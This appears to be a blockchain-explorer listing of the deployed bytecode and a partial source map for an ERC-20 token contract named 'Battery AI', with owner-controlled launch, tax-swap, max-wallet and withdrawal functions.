Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063893d20e8116100f7578063c0321e2411610095578063dd62ed3e11610064578063dd62ed3e146104ce578063e9451f5f14610514578063eadc5cf814610529578063f2fde38b1461056257600080fd5b8063c0321e241461046f578063c31c9c0714610484578063cd89ea70146104a4578063dc9d75b0146104b957600080fd5b806395d89b41116100d157806395d89b41146103f8578063a9059cbb14610424578063aa4bde2814610444578063b53457c61461045a57600080fd5b8063893d20e8146103c55780638a8c523c146103e35780638da5cb5b146103c557600080fd5b806323b872dd11610164578063452ed4f11161013e578063452ed4f11461034557806360cad12a1461036557806370a082311461037a578063715018a6146103b057600080fd5b806323b872dd146102ea578063313ce5671461030a5780633eaaf86b1461032657600080fd5b806306fdde03116101a057806306fdde031461024b578063095ea7b31461028757806318160ddd146102b75780631dc36945146102d557600080fd5b806303ebb3d4146101d257806303fd2a45146101f45780630445b6671461022757600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101f26101ed36600461173b565b610582565b005b34801561020057600080fd5b5061020a61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561023357600080fd5b5061023d60065481565b60405190815260200161021e565b34801561025757600080fd5b5060408051808201909152600a8152694261747465727920414960b01b60208201525b60405161021e9190611754565b34801561029357600080fd5b506102a76102a23660046117b7565b610641565b604051901515815260200161021e565b3480156102c357600080fd5b506a52b7d2dcc80cd2e400000061023d565b3480156102e157600080fd5b5061023d600081565b3480156102f657600080fd5b506102a76103053660046117e3565b610658565b34801561031657600080fd5b506040516012815260200161021e565b34801561033257600080fd5b5061023d6a52b7d2dcc80cd2e400000081565b34801561035157600080fd5b5060095461020a906001600160a01b031681565b34801561037157600080fd5b506101f26106d2565b34801561038657600080fd5b5061023d610395366004611824565b6001600160a01b031660009081526004602052604090205490565b3480156103bc57600080fd5b506101f261077b565b3480156103d157600080fd5b506000546001600160a01b031661020a565b3480156103ef57600080fd5b506101f26107b1565b34801561040457600080fd5b5060408051808201909152600381526210905560ea1b602082015261027a565b34801561043057600080fd5b506102a761043f3660046117b7565b610835565b34801561045057600080fd5b5061023d60055481565b34801561046657600080fd5b5061023d602a81565b34801561047b57600080fd5b506101f261084c565b34801561049057600080fd5b5060085461020a906001600160a01b031681565b3480156104b057600080fd5b506101f2610887565b3480156104c557600080fd5b5061023d606481565b3480156104da57600080fd5b5061023d6104e9366004611841565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561052057600080fd5b5061023d600581565b34801561053557600080fd5b506102a7610544366004611824565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561056e57600080fd5b506101f261057d366004611824565b610c34565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016105ac9061187a565b60405180910390fd5b60648110156106065760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e00000000000060448201526064016105ac565b60068190556040518181527f012a655509ffa9bc3efd2889d4a046de10822813221186ec6a5b5757511657bb9060200160405180910390a150565b600061064e338484610ccc565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146106bd576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906106b79084906118c5565b90915550505b6106c8848484610d90565b90505b9392505050565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016105ac9061187a565b6000471161074c5760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f2077697468647261772100000000000000000060448201526064016105ac565b60405133904780156108fc02916000818181858888f19350505050158015610778573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a55760405162461bcd60e51b81526004016105ac9061187a565b6107af600061115b565b565b6000546001600160a01b031633146107db5760405162461bcd60e51b81526004016105ac9061187a565b600c5460ff16156108225760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016105ac565b600c805460ff1916600117905543600a55565b6000610842338484610d90565b5060019392505050565b6000546001600160a01b031633146108765760405162461bcd60e51b81526004016105ac9061187a565b6a52b7d2dcc80cd2e4000000600555565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016105ac9061187a565b600c5460ff16156109045760405162461bcd60e51b815260206004820152601c60248201527f416c72656164792042617474657279204149206c61756e63686564210000000060448201526064016105ac565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109449030906a52b7d2dcc80cd2e4000000610ccc565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610997573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bb91906118d8565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4191906118d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab291906118d8565b600980546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff191660011790556008541663f305d7194730610b15816001600160a01b031660009081526004602052604090205490565b600080610b2a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb791906118f5565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190611923565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b81526004016105ac9061187a565b6001600160a01b038116610cc35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ac565b6107788161115b565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105ac565b6001600160a01b038216610d645760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105ac565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610df65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ac565b6001600160a01b038516610e5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ac565b60008311610ebc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ac565b610ec5856111ab565b15610edd57610ed58585856111fb565b9150506106cb565b6001600160a01b03851660009081526002602052604090205460ff1680610f1c57506001600160a01b03841660009081526002602052604090205460ff165b15610f2957506000611091565b600c5460ff16610f745760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b60448201526064016105ac565b610f7e85856112d3565b8015610f945750600954600160a01b900460ff16155b1561101657306000908152600460205260409020546006548110801590610fc55750600954600160a01b900460ff16155b1561101057610fd66012600a611a29565b610fe390620f4240611a38565b81111561100657610ff66012600a611a29565b61100390620f4240611a38565b90505b611010848261131e565b50611091565b60055483611039866001600160a01b031660009081526004602052604090205490565b6110439190611a4f565b11156110915760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016105ac565b6001600160a01b038516600090815260046020526040812080548592906110b99084906118c5565b9091555060009050816110cc57836110e0565b6110e0866110da88886112d3565b86611528565b6001600160a01b03861660009081526004602052604081208054929350839290919061110d908490611a4f565b92505081905550846001600160a01b0316866001600160a01b0316600080516020611b0c8339815191528360405161114791815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811660009081526002602052604081205460ff1680156111e157506000546001600160a01b03838116911614155b801561065257506001600160a01b03821630141592915050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054829161124f919083906116a2565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461127e90846116dc565b6001600160a01b038086166000818152600460205260409081902093909355915190871690600080516020611b0c833981519152906112c09087815260200190565b60405180910390a3506001949350505050565b6001600160a01b038116600090815260036020526040812054819060ff16801561131657506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6009805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136657611366611a62565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e391906118d8565b816001815181106113f6576113f6611a62565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600854909416825292909152205460001914611460573060009081526001602090815260408083206008546001600160a01b03168452909152902060001990555b6006548311156115155760085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a3908590600090869030904290600401611a78565b600060405180830381600087803b1580156114bd57600080fd5b505af19250505080156114ce575060015b6114d85750611517565b60075460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611512573d6000803e3d6000fd5b50505b505b50506009805460ff60a01b19169055565b600080600b54600a5461153b9190611a4f565b43101561154a5750602a611557565b5060008315611557575060055b8060000361156857829150506106cb565b600060646115768386611a38565b6115809190611ae9565b9050801561168e57600060646115968287611a38565b6115a09190611ae9565b306000908152600460205260408120805492935084929091906115c4908490611a4f565b909155505060405182815230906001600160a01b03891690600080516020611b0c8339815191529060200160405180910390a3801561168c57306000908152600460205260408120805483929061161c9084906118c5565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805483929061165f908490611a4f565b909155505060405181815261dead903090600080516020611b0c8339815191529060200160405180910390a35b505b61169881856118c5565b9695505050505050565b600081848411156116c65760405162461bcd60e51b81526004016105ac9190611754565b5060006116d384866118c5565b95945050505050565b6000806116e98385611a4f565b9050838110156106cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ac565b60006020828403121561174d57600080fd5b5035919050565b600060208083528351808285015260005b8181101561178157858101830151858201604001528201611765565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077857600080fd5b600080604083850312156117ca57600080fd5b82356117d5816117a2565b946020939093013593505050565b6000806000606084860312156117f857600080fd5b8335611803816117a2565b92506020840135611813816117a2565b929592945050506040919091013590565b60006020828403121561183657600080fd5b81356106cb816117a2565b6000806040838503121561185457600080fd5b823561185f816117a2565b9150602083013561186f816117a2565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610652576106526118af565b6000602082840312156118ea57600080fd5b81516106cb816117a2565b60008060006060848603121561190a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193557600080fd5b815180151581146106cb57600080fd5b600181815b80851115611980578160001904821115611966576119666118af565b8085161561197357918102915b93841c939080029061194a565b509250929050565b60008261199757506001610652565b816119a457506000610652565b81600181146119ba57600281146119c4576119e0565b6001915050610652565b60ff8411156119d5576119d56118af565b50506001821b610652565b5060208310610133831016604e8410600b8410161715611a03575081810a610652565b611a0d8383611945565b8060001904821115611a2157611a216118af565b029392505050565b60006106cb60ff841683611988565b8082028115828204841417610652576106526118af565b80820180821115610652576106526118af565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b0657634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220cca3f5a2544f1c118cd5aebed58c0c36a3f057993c36929f241c97cf625dfb2f64736f6c63430008130033

Deployed Bytecode Sourcemap

5990:9152:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14544:222;;;;;;;;;;-1:-1:-1;14544:222:0;;;;;:::i;:::-;;:::i;:::-;;8002:73;;;;;;;;;;;;8033:42;8002:73;;;;;-1:-1:-1;;;;;363:32:1;;;345:51;;333:2;318:18;8002:73:0;;;;;;;;7394:50;;;;;;;;;;;;;;;;;;;553:25:1;;;541:2;526:18;7394:50:0;407:177:1;6423:80:0;;;;;;;;;;-1:-1:-1;6495:5:0;;;;;;;;;;;;-1:-1:-1;;;6495:5:0;;;;6423:80;;;;;;;:::i;9531:161::-;;;;;;;;;;-1:-1:-1;9531:161:0;;;;;:::i;:::-;;:::i;:::-;;;1763:14:1;;1756:22;1738:41;;1726:2;1711:18;9531:161:0;1598:187:1;6079:125:0;;;;;;;;;;-1:-1:-1;7174:20:0;6079:125;;7453:34;;;;;;;;;;;;7486:1;7453:34;;9967:306;;;;;;;;;;-1:-1:-1;9967:306:0;;;;;:::i;:::-;;:::i;6210:117::-;;;;;;;;;;-1:-1:-1;6210:117:0;;7126:2;2393:36:1;;2381:2;2366:18;6210:117:0;2251:184:1;7135:59:0;;;;;;;;;;;;7174:20;7135:59;;8084:21;;;;;;;;;;-1:-1:-1;8084:21:0;;;;-1:-1:-1;;;;;8084:21:0;;;14774:196;;;;;;;;;;;;;:::i;6734:117::-;;;;;;;;;;-1:-1:-1;6734:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6827:16:0;6800:7;6827:16;;;:7;:16;;;;;;;6734:117;2258:94;;;;;;;;;;;;;:::i;6509:80::-;;;;;;;;;;-1:-1:-1;6561:7:0;2108:6;-1:-1:-1;;;;;2108:6:0;6509:80;;14978:161;;;;;;;;;;;;;:::i;6333:84::-;;;;;;;;;;-1:-1:-1;6407:7:0;;;;;;;;;;;;-1:-1:-1;;;6407:7:0;;;;6333:84;;9358:165;;;;;;;;;;-1:-1:-1;9358:165:0;;;;;:::i;:::-;;:::i;7299:47::-;;;;;;;;;;;;;;;;7546:42;;;;;;;;;;;;7586:2;7546:42;;13524:99;;;;;;;;;;;;;:::i;7867:27::-;;;;;;;;;;-1:-1:-1;7867:27:0;;;;-1:-1:-1;;;;;7867:27:0;;;8681:632;;;;;;;;;;;;;:::i;7595:45::-;;;;;;;;;;;;7637:3;7595:45;;6595:133;;;;;;;;;;-1:-1:-1;6595:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6697:19:0;;;6679:7;6697:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6595:133;7502:35;;;;;;;;;;;;7536:1;7502:35;;10281:124;;;;;;;;;;-1:-1:-1;10281:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;10375:22:0;10351:4;10375:22;;;:13;:22;;;;;;;;;10281:124;2360:192;;;;;;;;;;-1:-1:-1;2360:192:0;;;;;:::i;:::-;;:::i;14544:222::-;2081:7;2108:6;-1:-1:-1;;;;;2108:6:0;451:10;2170:23;2162:68;;;;-1:-1:-1;;;2162:68:0;;;;;;;:::i;:::-;;;;;;;;;14640:3:::1;14630:6;:13;;14622:51;;;::::0;-1:-1:-1;;;14622:51:0;;3873:2:1;14622:51:0::1;::::0;::::1;3855:21:1::0;3912:2;3892:18;;;3885:30;3951:28;3931:18;;;3924:56;3997:18;;14622:51:0::1;3671:350:1::0;14622:51:0::1;14684:13;:22:::0;;;14722:36:::1;::::0;553:25:1;;;14722:36:0::1;::::0;541:2:1;526:18;14722:36:0::1;;;;;;;14544:222:::0;:::o;9531:161::-;9608:4;9625:37;9634:10;9646:7;9655:6;9625:8;:37::i;:::-;-1:-1:-1;9680:4:0;9531:161;;;;;:::o;9967:306::-;-1:-1:-1;;;;;10088:19:0;;10067:4;10088:19;;;:11;:19;;;;;;;;10108:10;10088:31;;;;;;;;-1:-1:-1;;10088:52:0;10084:126;;-1:-1:-1;;;;;10157:19:0;;;;;;:11;:19;;;;;;;;10177:10;10157:31;;;;;;;:41;;10192:6;;10157:19;:41;;10192:6;;10157:41;:::i;:::-;;;;-1:-1:-1;;10084:126:0;10229:36;10239:6;10247:9;10258:6;10229:9;:36::i;:::-;10222:43;;9967:306;;;;;;:::o;14774:196::-;2081:7;2108:6;-1:-1:-1;;;;;2108:6:0;451:10;2170:23;2162:68;;;;-1:-1:-1;;;2162:68:0;;;;;;;:::i;:::-;14871:1:::1;14847:21;:25;14839:61;;;::::0;-1:-1:-1;;;14839:61:0;;4493:2:1;14839:61:0::1;::::0;::::1;4475:21:1::0;4532:2;4512:18;;;4505:30;4571:25;4551:18;;;4544:53;4614:18;;14839:61:0::1;4291:347:1::0;14839:61:0::1;14911:51;::::0;14919:10:::1;::::0;14940:21:::1;14911:51:::0;::::1;;;::::0;::::1;::::0;;;14940:21;14919:10;14911:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14774:196::o:0;2258:94::-;2081:7;2108:6;-1:-1:-1;;;;;2108:6:0;451:10;2170:23;2162:68;;;;-1:-1:-1;;;2162:68:0;;;;;;;:::i;:::-;2323:21:::1;2341:1;2323:9;:21::i;:::-;2258:94::o:0;14978:161::-;2081:7;2108:6;-1:-1:-1;;;;;2108:6:0;451:10;2170:23;2162:68;;;;-1:-1:-1;;;2162:68:0;;;;;;;:::i;:::-;15042:6:::1;::::0;::::1;;15041:7;15033:36;;;::::0;-1:-1:-1;;;15033:36:0;;4845:2:1;15033:36:0::1;::::0;::::1;4827:21:1::0;4884:2;4864:18;;;4857:30;-1:-1:-1;;;4903:18:1;;;4896:47;4960:18;;15033:36:0::1;4643:341:1::0;15033:36:0::1;15082:6;:13:::0;;-1:-1:-1;;15082:13:0::1;15091:4;15082:13;::::0;;15119:12:::1;15106:10;:25:::0;14978:161::o;9358:165::-;9436:4;9453:40;9463:10;9475:9;9486:6;9453:9;:40::i;:::-;-1:-1:-1;9511:4:0;;9358:165;-1:-1:-1;;;9358:165:0:o;13524:99::-;2081:7;2108:6;-1:-1:-1;;;;;2108:6:0;451:10;2170:23;2162:68;;;;-1:-1:-1;;;2162:68:0;;;;;;;:::i;:::-;7174:20:::1;13585:15;:30:::0;13524:99::o;8681:632::-;2081:7;2108:6;-1:-1:-1;;;;;2108:6:0;451:10;2170:23;2162:68;;;;-1:-1:-1;;;2162:68:0;;;;;;;:::i;:::-;8752:6:::1;::::0;::::1;;8751:7;8743:47;;;::::0;-1:-1:-1;;;8743:47:0;;5191:2:1;8743:47:0::1;::::0;::::1;5173:21:1::0;5230:2;5210:18;;;5203:30;5269;5249:18;;;5242:58;5317:18;;8743:47:0::1;4989:352:1::0;8743:47:0::1;8803:10;:66:::0;;-1:-1:-1;;;;;;8803:66:0::1;8826:42;8803:66:::0;;::::1;::::0;;;8911:58:::1;::::0;8928:4:::1;::::0;7174:20:::1;8911:8;:58::i;:::-;9000:10;;;;;;;;;-1:-1:-1::0;;;;;9000:10:0::1;-1:-1:-1::0;;;;;9000:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8989:43:0::1;;9041:4;9048:10;;;;;;;;;-1:-1:-1::0;;;;;9048:10:0::1;-1:-1:-1::0;;;;;9048:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8989:77;::::0;-1:-1:-1;;;;;;8989:77:0::1;::::0;;;;;;-1:-1:-1;;;;;5832:15:1;;;8989:77:0::1;::::0;::::1;5814:34:1::0;5884:15;;5864:18;;;5857:43;5749:18;;8989:77:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8980:6;:86:::0;;-1:-1:-1;;;;;8980:86:0;;::::1;-1:-1:-1::0;;;;;;8980:86:0;;::::1;::::0;::::1;::::0;;;:6:::1;9077:16:::0;;;:8:::1;:16;::::0;;;;:23;;-1:-1:-1;;9077:23:0::1;8980:86:::0;9077:23:::1;::::0;;9111:10:::1;::::0;::::1;:26;9145:21;9176:4;9182:24;9176:4:::0;-1:-1:-1;;;;;6827:16:0;6800:7;6827:16;;;:7;:16;;;;;;;6734:117;9182:24:::1;9207:1;9209::::0;9211:7:::1;2081::::0;2108:6;-1:-1:-1;;;;;2108:6:0;;2035:87;9211:7:::1;9111:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9111:124:0;;;-1:-1:-1;;;;;6270:15:1;;;9111:124:0::1;::::0;::::1;6252:34:1::0;6302:18;;;6295:34;;;;6345:18;;;6338:34;;;;6388:18;;;6381:34;6452:15;;;6431:19;;;6424:44;9219:15:0::1;6484:19:1::0;;;6477:35;6186:19;;9111:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9253:6:0::1;::::0;9277:10:::1;::::0;9246:59:::1;::::0;-1:-1:-1;;;9246:59:0;;-1:-1:-1;;;;;9277:10:0;;::::1;9246:59;::::0;::::1;7008:51:1::0;-1:-1:-1;;7075:18:1;;;7068:34;9253:6:0;::::1;::::0;-1:-1:-1;9246:22:0::1;::::0;6981:18:1;;9246:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2360:192::-:0;2081:7;2108:6;-1:-1:-1;;;;;2108:6:0;451:10;2170:23;2162:68;;;;-1:-1:-1;;;2162:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2449:22:0;::::1;2441:73;;;::::0;-1:-1:-1;;;2441:73:0;;7597:2:1;2441:73:0::1;::::0;::::1;7579:21:1::0;7636:2;7616:18;;;7609:30;7675:34;7655:18;;;7648:62;-1:-1:-1;;;7726:18:1;;;7719:36;7772:19;;2441:73:0::1;7395:402:1::0;2441:73:0::1;2525:19;2535:8;2525:9;:19::i;9700:259::-:0;-1:-1:-1;;;;;9795:20:0;;9787:52;;;;-1:-1:-1;;;9787:52:0;;8004:2:1;9787:52:0;;;7986:21:1;8043:2;8023:18;;;8016:30;-1:-1:-1;;;8062:18:1;;;8055:49;8121:18;;9787:52:0;7802:343:1;9787:52:0;-1:-1:-1;;;;;9858:21:0;;9850:53;;;;-1:-1:-1;;;9850:53:0;;8004:2:1;9850:53:0;;;7986:21:1;8043:2;8023:18;;;8016:30;-1:-1:-1;;;8062:18:1;;;8055:49;8121:18;;9850:53:0;7802:343:1;9850:53:0;-1:-1:-1;;;;;9914:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;9700:259::o;11186:1445::-;11266:4;11298;-1:-1:-1;;;;;11321:16:0;;11313:64;;;;-1:-1:-1;;;11313:64:0;;8352:2:1;11313:64:0;;;8334:21:1;8391:2;8371:18;;;8364:30;8430:34;8410:18;;;8403:62;-1:-1:-1;;;8481:18:1;;;8474:33;8524:19;;11313:64:0;8150:399:1;11313:64:0;-1:-1:-1;;;;;11396:18:0;;11388:68;;;;-1:-1:-1;;;11388:68:0;;8756:2:1;11388:68:0;;;8738:21:1;8795:2;8775:18;;;8768:30;8834:34;8814:18;;;8807:62;-1:-1:-1;;;8885:18:1;;;8878:35;8930:19;;11388:68:0;8554:401:1;11388:68:0;11484:1;11475:6;:10;11467:64;;;;-1:-1:-1;;;11467:64:0;;9162:2:1;11467:64:0;;;9144:21:1;9201:2;9181:18;;;9174:30;9240:34;9220:18;;;9213:62;-1:-1:-1;;;9291:18:1;;;9284:39;9340:19;;11467:64:0;8960:405:1;11467:64:0;11547:29;11571:4;11547:23;:29::i;:::-;11544:100;;;11600:32;11615:4;11621:2;11625:6;11600:14;:32::i;:::-;11593:39;;;;;11544:100;-1:-1:-1;;;;;11660:19:0;;;;;;:13;:19;;;;;;;;;:40;;-1:-1:-1;;;;;;11683:17:0;;;;;;:13;:17;;;;;;;;11660:40;11656:704;;;-1:-1:-1;11726:5:0;11656:704;;;11772:6;;;;11764:41;;;;-1:-1:-1;;;11764:41:0;;9572:2:1;11764:41:0;;;9554:21:1;9611:2;9591:18;;;9584:30;-1:-1:-1;;;9630:18:1;;;9623:52;9692:18;;11764:41:0;9370:346:1;11764:41:0;11825:24;11840:4;11846:2;11825:14;:24::i;:::-;:36;;;;-1:-1:-1;11855:6:0;;-1:-1:-1;;;11855:6:0;;;;11854:7;11825:36;11822:527;;;11923:4;11882:20;6827:16;;;:7;:16;;;;;;11967:13;;11951:29;;;;;:40;;-1:-1:-1;11985:6:0;;-1:-1:-1;;;11985:6:0;;;;11984:7;11951:40;11948:268;;;7257:13;7126:2;7257;:13;:::i;:::-;7247:23;;:7;:23;:::i;:::-;12021:12;:25;12017:107;;;7257:13;7126:2;7257;:13;:::i;:::-;7247:23;;:7;:23;:::i;:::-;12075:25;;12017:107;12162:34;12175:6;12183:12;12162;:34::i;:::-;11863:368;11822:527;;;12290:15;;12280:6;12264:13;12274:2;-1:-1:-1;;;;;6827:16:0;6800:7;6827:16;;;:7;:16;;;;;;;6734:117;12264:13;:22;;;;:::i;:::-;:41;;12256:77;;;;-1:-1:-1;;;12256:77:0;;11609:2:1;12256:77:0;;;11591:21:1;11648:2;11628:18;;;11621:30;11687:25;11667:18;;;11660:53;11730:18;;12256:77:0;11407:347:1;12256:77:0;-1:-1:-1;;;;;12372:13:0;;;;;;:7;:13;;;;;:23;;12389:6;;12372:13;:23;;12389:6;;12372:23;:::i;:::-;;;;-1:-1:-1;12406:22:0;;-1:-1:-1;12432:7:0;12431:77;;12502:6;12431:77;;;12443:56;12460:4;12466:24;12481:4;12487:2;12466:14;:24::i;:::-;12492:6;12443:16;:56::i;:::-;-1:-1:-1;;;;;12519:11:0;;;;;;:7;:11;;;;;:29;;12406:102;;-1:-1:-1;12406:102:0;;12519:11;;;:29;;12406:102;;12519:29;:::i;:::-;;;;;;;;12580:2;-1:-1:-1;;;;;12565:34:0;12574:4;-1:-1:-1;;;;;12565:34:0;-1:-1:-1;;;;;;;;;;;12584:14:0;12565:34;;;;553:25:1;;541:2;526:18;;407:177;12565:34:0;;;;;;;;-1:-1:-1;12619:4:0;;11186:1445;-1:-1:-1;;;;;11186:1445:0:o;2560:173::-;2616:16;2635:6;;-1:-1:-1;;;;;2652:17:0;;;-1:-1:-1;;;;;;2652:17:0;;;;;;2685:40;;2635:6;;;;;;;2685:40;;2616:16;2685:40;2605:128;2560:173;:::o;10593:157::-;-1:-1:-1;;;;;10686:18:0;;10662:4;10686:18;;;:13;:18;;;;;;;;:34;;;;-1:-1:-1;2081:7:0;2108:6;-1:-1:-1;;;;;10708:12:0;;;2108:6;;10708:12;;10686:34;:56;;;;-1:-1:-1;;;;;;10724:18:0;;10737:4;10724:18;;10679:63;10593:157;-1:-1:-1;;10593:157:0:o;10758:420::-;10946:89;;;;;;;;;;;-1:-1:-1;;;10946:89:0;;;;;;;;-1:-1:-1;;;;;10946:15:0;;10885:4;10946:15;;;:7;:15;;;;;;;10885:4;;10946:89;;:15;10885:4;;10946:19;:89::i;:::-;-1:-1:-1;;;;;10928:15:0;;;;;;;:7;:15;;;;;;:107;;;;11067:18;;;;;;;:30;;11090:6;11067:22;:30::i;:::-;-1:-1:-1;;;;;11046:18:0;;;;;;;:7;:18;;;;;;;:51;;;;11113:35;;;;;;-1:-1:-1;;;;;;;;;;;11113:35:0;;;11141:6;553:25:1;;541:2;526:18;;407:177;11113:35:0;;;;;;;;-1:-1:-1;11166:4:0;;10758:420;-1:-1:-1;;;;10758:420:0:o;10413:172::-;-1:-1:-1;;;;;10520:13:0;;10486:4;10520:13;;;:8;:13;;;;;;10486:4;;10520:13;;:31;;;;-1:-1:-1;;;;;;10538:13:0;;;;;;:8;:13;;;;;;;;10537:14;10520:31;10504:47;10413:172;-1:-1:-1;;;;10413:172:0:o;12639:873::-;8282:6;:13;;-1:-1:-1;;;;8282:13:0;-1:-1:-1;;;8282:13:0;;;12774:16:::1;::::0;;12788:1:::1;12774:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12774:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12774:16:0::1;12750:40;;12819:4;12801;12806:1;12801:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12801:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12845:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;12845:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;12801:7;;12845:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12835:4;12840:1;12835:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12835:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;12899:4:::1;12879:26;::::0;;;:11:::1;:26:::0;;;;;;12914:10:::1;::::0;;;::::1;12879:47:::0;;;;;;;;-1:-1:-1;;12879:68:0::1;12875:168;;12984:4;12964:26;::::0;;;:11:::1;:26;::::0;;;